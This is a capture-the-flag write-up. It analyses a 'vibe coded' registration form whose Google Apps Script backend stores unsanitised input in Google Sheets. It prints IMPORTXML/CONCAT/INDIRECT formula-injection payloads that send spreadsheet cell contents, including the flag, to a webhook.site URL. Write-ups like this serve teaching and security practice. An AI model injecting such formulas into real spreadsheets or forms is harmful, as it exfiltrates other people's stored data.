Ingehack/from_lib_import_xml

The challenge :

we are faced by a registration form, the challenge description says its vibe coded which hint’s that there’s no proper security measures to it
and we are provided with the source code : alt text
the .gs files hint that the registration process and everything works with google scripts etc.. which means that it uses google services: let’s read the code :

app.js:

1
async function submitRegistration(payload) {
2
  const endpoint = window.APP_CONFIG?.apiUrl;
3

4
  if (!endpoint) {
5
    throw new Error("Add your backend API URL in frontend/config.js.");
6
  }
7

8
  const response = await fetch(endpoint, {
9
    method: "POST",
10
    headers: {
11
      "Content-Type": "application/json",
12
    },
13
    body: JSON.stringify(payload),
14
  });
15

16
  const result = await response.json().catch(() => null);
17

18
  if (!response.ok || result?.ok === false) {
19
    throw new Error(result?.message || "Submission failed.");
20
  }
21

22
  return result;
23
}

nothing really interesting, sounds like normal registration:

meanwhile in server.js we see the following:

1
async function forwardToAppsScript(payload) {
2
  let forwardResponse;
3

4
  try {
5
    forwardResponse = await fetch(GOOGLE_APPS_SCRIPT_URL, {
6
      method: "POST",
7
      headers: {
8
        "Content-Type": "application/json",
9
      },
10
      body: JSON.stringify(payload),
11
    });
12
  } catch (error) {
13
    const networkError = new Error(
14
      `Could not reach Google Apps Script: ${error.message}`,
15
    );
16
    networkError.statusCode = 502;
17
    throw networkError;
18
  }
19

20
  const result = await readForwardResponse(forwardResponse);
21

22
  if (!forwardResponse.ok) {
23
    const error = new Error(
24
      result?.message ||
25
        `Google Apps Script returned ${forwardResponse.status}.`,
26
    );
27
    error.statusCode = 502;
28
    throw error;
29
  }
30

31
  if (result && typeof result === "object" && result.ok === false) {
32
    const error = new Error(
33
      result.message || "Google Apps Script rejected the submission.",
34
    );
35
    error.statusCode = 502;
36
    throw error;
37
  }
38

39
  return result;
40
}

so the google apps script is doing the work, let’s read it:

Code.gs:

1
const CONFIG = {
2
  sheetName: "Main",
3
  headers: [
4
    "Timestamp",
5
    "First Name",
6
    "Last Name",
7
    "Email",
8
    "Phone",
9
    "Date of Birth",
10
    "Address",
11
  ],
12
};

this means that the data is being stored to a spreadsheet with the main sheet named “Main”, and 7 fields are stored,

we can also see the function:

1
function normalizePayload_(payload) {
2
  return {
3
    firstName: sanitize_(payload.firstName),
4
    lastName: sanitize_(payload.lastName),
5
    email: sanitize_(payload.email),
6
    phone: sanitize_(payload.phone),
7
    dateOfBirth: sanitize_(payload.dateOfBirth),
8
    address: sanitize_(payload.address),
9
  };
10
}

which seems like its sanitizing the data before its stored, but in reality… its not :

1
function sanitize_(value) {
2
  return value === null || value === undefined ? "" : String(value).trim();
3
}

there’s no sanitization happening, what this hints to is that there should be some sort of injection to the spreadsheet, but the thing is that we dont have acces to the spreadsheet whatsoever, so we don’t know how to readback what we injected or read anything in the spreadsheet.

the spreadsheet is most likely google sheets since this is using google services.

here comes the hint from the challenge name “from_lib_import_xml”, after looking up “spreadsheet import_xml”, it appears that there’s a function in google sheets called IMPORTXML, what it does is it fetches and parses data from a URL using an XPath query, letting you scrape structured content (like titles, links, or specific elements) directly from a webpage into your sheet, so we need to find a way to exploit it, it’s quite trivial for experienced players, but i found a blog talking about this specific case, Data Exfiltration via Formula Injection

where you use CONCAT, let it visit your website and append your guery after its read from the spread sheet:

this was my initial payload, read ing the column A1:

1
=IMPORTXML(CONCAT("https://webhook.site/<id>?d=",INDIRECT("A1")),"//a/a10")

and we do get a ping back :

alt text
“Timestamp”, which if you remember was the first field being registered, so we are reading contents of the spreadsheet, with H being the 7th letter of the alphabet, H1, should return “flag”, with H2 being the flag itself, and yes:

1
=IMPORTXML(CONCAT("https://webhook.site/<id>?d=",INDIRECT("H2")),"//a/a10")

and we get the flag:

alt text

flag is ingehack{registeration_form_leakage_846896548998468}
nice chall, shoutout to taki for this challenge